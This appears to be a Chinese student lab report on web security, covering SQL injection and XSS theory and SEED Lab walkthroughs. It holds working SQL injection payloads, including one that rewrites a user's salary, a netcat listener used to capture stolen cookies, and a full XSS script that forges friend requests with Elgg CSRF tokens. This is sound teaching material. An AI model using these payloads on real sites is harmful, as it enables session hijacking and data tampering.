1.实践内容
web应用程序体系结构及其安全威胁
web应用体系结构
web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。web应用体系结构如图所示:
浏览器:完成数据显示与展示渲染
服务器:完成业务计算处理
web服务器软件、web应用程序以及后端数据库构成
由三层架构(表示层、业务逻辑层和数据层)组织构建
浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信
针对于上图对关键组件进行介绍:
浏览器 使用HTTP/HTTPS协议、HTML语言与web服务器进行交互,获取信息
web服务器 不仅仅是一个HTTP守护程序,有对各种web动态编程语言的支持
web应用程序 即处于服务器端的业务逻辑
最为常见的三层体系结构由 表示层、业务逻辑层和数据层组成
表示层:接受web客户端的输入并显示结果
业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层
数据层:以数据库或本地文件的形式,提供非易失的信息存储
数据库
传输协议HTTP/HTTPS 浏览器与web站点之间的通信传输协议时HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式,请求资源。
SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
web应用安全威胁
针对浏览器和终端用户的web浏览安全威胁:网页木马、网站钓鱼等
针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等
系统层安全威胁:web站点的宿主操作系统
web服务器软件安全威胁:web服务器软件也存在着漏洞与弱点
web数据安全威胁:web站点中在web应用程序后台存储的关键数据内容。
web应用安全攻防技术概述
web应用信息收集
针对web应用的攻击也需要首先进行信息情报的收集,主要收集:服务器域名,IP地址和虚拟IP地址,web服务器端口与其他开放服务,web站点类型和版本,web应用程序类型及版本,web服务器及其存在的安全漏洞信息。
手工审查web应用程序结构与源代码
攻击web目标,首先手工浏览web应用的各个页面、菜单、目录,查看关键页面的源代码。
查看静态和动态生成的页面
目录结构 web服务器的存储目录结构
辅助性文件
输入表单 form是web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置
查询参数字符串
自动下载与镜像web站页面
Google hacking技术审查与探测web应用程序
web应用程序安全评估与漏洞审查
针对web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
浏览器插件:可以实时查看和修改传递给远端web服务器的数据。
原理:在浏览器中嵌入软件模块,监控要发送的请求,将其暂停交给分析人员,并为其提供修改请求的功能,之后再将修改后的请求发送出去。
firefox浏览器的插件有——tamperData、Firebug、view source chart、Venkman JavaScript Debugger、Live HTTP Headers等。
免费工具集
商业web应用安全评估系统和漏洞扫描器
攻击web服务器软件
web服务器的安全漏洞主要分为以下几类:
数据驱动的远程代码执行安全漏洞:web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻
击。
服务器功能扩展模块漏洞
样本文件安全漏洞
源代码泄露
资源解析攻击
攻击web应用程序
针对web应用安全威胁从攻击技术角度分为以下6类:
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段
命令执行攻击:在web站点执行远程命令的攻击手段
信息暴露:获取web站点具体系统信息的攻击手段
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段
攻击web数据内容
安全敏感数据泄露
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置
利用web服务器的上传目录临时中转文件
在web站点公开的文档资料中包含个人隐私、企业秘密
网站篡改
利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
不良信息内容上传
SQL注入
代码注入利用web应用程序的输入验证不完善漏洞,使得web应用程序执行由攻击者所注入的恶意指令和代码。
代码注入根据攻击目标不同分为:
恶意读取、修改与操纵数据库的SQL注入攻击;
在web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;
在web服务器端恶意执行操作系统命令的shell注入攻击;
其他多种注入攻击
SQL注入攻击原理
利用web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。
SQL注入攻击步骤和过程
发现SQL注入点
在动态网页中存在http://SITE/xxx.asp?some_rec=yyy的动态网页,当some_rec字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。
yyy修改为yyy' 造成SQL出错,动态页面返回错误提示信息
yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面
yyy修改为yyy and 1=2 查询不到任何信息
存在以上三种情况认为web应用存在注入点
当some_rec为字符型参数时,通过三种不同的字符串确定是否存在SQL注入点
yyy修改为yyy'输入引号不匹配造成SQL语句错误
yyy修改为yyy'and'1'='1'不对查询语句造成任何影响
yyy修改为yyy' and '1'='2'查询不到任何信息,返回空白页面或错误提示信息
判断后台数据库类型
利用数据库服务器的系统变量
利用数据库服务器的系统表进行判断
后台数据库管理员用户口令猜解
猜解表名
猜解字段名
用户名与口令猜解
上传ASP后门,得到默认账户权限
在破解得到web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对web站点进行远程控制。
本地权限提升
利用数据库扩展存储过程执行shell命令
SQL注入攻击工具
Wposion在动态文档中找出SQL注入漏洞
wieliekoek.pl找出含有表单的页面,允许在配置文件中对注入字符串进行修改,进行SQL注入漏洞探测
SPIKE Proxy允许使用者在配置文件中对待注入字符串进行定制,执行自动化注入测试
SPI Toolkit
URL字符转义
+ URL 中+号表示空格 %2B
空格 URL中的空格可以用+号或者编码 %20
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
% 指定特殊字符 %25
# 表示书签 %23
&URL 中指定的参数间的分隔符 %26
=URL 中指定参数的值 %3D
XSS跨脚本攻击
XSS跨站脚本攻击的最终目标不是提供服务的web应用程序而是使用web应用程序的用户。XSS的漏洞存在于web应用程序中,使得攻击者可以在web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等危害后果。
XSS攻击技术原理
web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为,这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
XSS攻击技术分类
持久性XSS漏洞
通常出现在一些可以将用户输入持久性地保存在web服务器端,在页面中持续显示,从而影响所有访问这些页面的用户。通常在于留言本、BBS论坛、博客等web应用程序中,
这些恶意脚本将被永久性地包含在网站页面中。
非持久性XSS漏洞
非持久性步骤
攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户
用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面
网站将会在反馈的欢迎页面中包含恶意客户端脚本
攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌
攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击
2.实践过程
实践作业一:SQL注入实验
访问www.SEEDLabSQLInjection.com查看实验所用的web应用程序, 该程序是一个简单的员工管理应用程序。完成下列任务:
1)对 SELECT 语句的攻击 (在不知道密码的情况下登录该应用程序)
2)对 UPDATE 语句的攻击 (在不知道密码的情况下修改某用户资料)
3)对抗 SQL 注入 ( 修复该web应用的SQL注入漏洞)
1)使用命令sudo service apache2 start 开启服务,使用 systemctl status apache2来查看是否成功启动
www.SEEDLabSQLInjection.com www.xsslabelgg.com可以进入web应用,进入后可以看到登录界面,我们可以随便输入一个用户名及密码(错误没有关系),F12查看表单提交情况,可以看到进行校验的是unsafe_home.php
接着我们进入文件var-www-SQLInjection,可以看到用户名和密码
于是我们可以用admin进行登录,但是如果我们输入Admin'#,就可以让SQL语句提前结束,而不进行密码校验,#就是将密码校验的部分注释掉了。然后我们可以成功不用输密码进入系统,可以看到成功的看到了用户信息。
2)在unsafe_edit_backend.php 中找到了处理update语句的地方,可以发现,员工是没有权限进行修改salary的
由上一步攻击得知除admin之外的用户还有Alice、Boby、Ryan等,我们可以输入Boby'#。登陆成功后,可以看到salary为30000,生日是4/20等信息
点击edit profile修改信息,已知update时正确的处理语句为 UPDATE credential SET nickname='inputnickname′,email=′input_email',address='inputaddress′,Password=′hashed_pwd', PhoneNumber='inputphonenumber′WHEREID=id
如果我们在nickname字段输入',salary='10000000' where Name='Boby'; #
则可以把update语句改为UPDATE credential SET nickname='',salary='2000000000000' where Name='Boby';,后面的都由#注释掉了,然后我们保存一下可以看到
3)SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。
SEED XSS攻击实验
题目:访问www.xsslabelgg.com查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:
通过弹窗显示恶意信息
在消息窗口中显示 Cookie
窃取受害主机的 Cookie
使用窃取的Cookies进行会话劫持
访问实验环境已搭建好的 Web 网站:http://www.xsslabelgg.com,使用 Alice 的账户进行登录,用户名为 alice,密码为 seedalice,然后进入个人信息页面http://www.xsslabelgg.com/profile/alice,点击Edit profile,接着在下面的Brief description文本框输入以下 JS 语句:
点击Save保存,页面弹出如下的提示框:
刷新页面,再次弹出上述提示框。
这就实现了通过嵌入 JS 代码,弹出警报窗口的功能。
弹窗显示 cookie 信息
步骤同上文,在Brief description文本框输入以下 JS 语句并保存:
弹出提示框,并且显示当前的 cookie 信息。
窃取受害者的 cookies
可以考虑使用 JS 脚本动态地在页面添加一个标签,同时在标签的src属性中嵌入攻击代码。
下面的攻击代码实现了将 cookies 发送到攻击者的 5555 端口,若攻击者的 TCP server 监听该端口端口,服务器就可以输出收到的内容。
上面的document.write()JavaScript 函数提供了可以对浏览器 DOM 结构进行操作的 API 接口。
escape()函数表示对对字符串进行编码。
将上述代码同样输入到Brief description文本框中,然后在终端使用以下指令监听端口:
nc -l 5555 -v
然后保存文本框输入的内容,终端就可以监听到浏览器发送的具体内容了:
成为受害者的朋友
假设当前登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby
首先使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友。
可以看到此时浏览器发送的 POST 请求的具体内容:
其中请求的地址是:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1589264053&__elgg_token=v-5SQNXrM_NGAKG0TFtXWQ
显然,这里用到了三个参数,friend=、__elgg_ts、__elgg_token,分别是好友、时间、身份认证;而请求的地址是http://www.xsslabelgg.com/action/friends/add
于是,可以构造下面的 JS 脚本,用于添加其他好友。
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将上面的脚本放在 Alice 的About me文本框内,注意文本框选择Edit HTML模式,保存。
然后退出 Alice,登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友。
3.学习中遇到的问题及解决
- 问题1:实验一找不到Edit Profile
- 问题1解决方案:因为seed的原因,桌面比较小,以为是没有,结果是没有显示,通过把浏览器缩小就行了
4.实践总结
近期学习了java web的开发,通过此次实验,对web的安全性有更深的了解。此次实验,应注意理解原理,再进一步加强实践。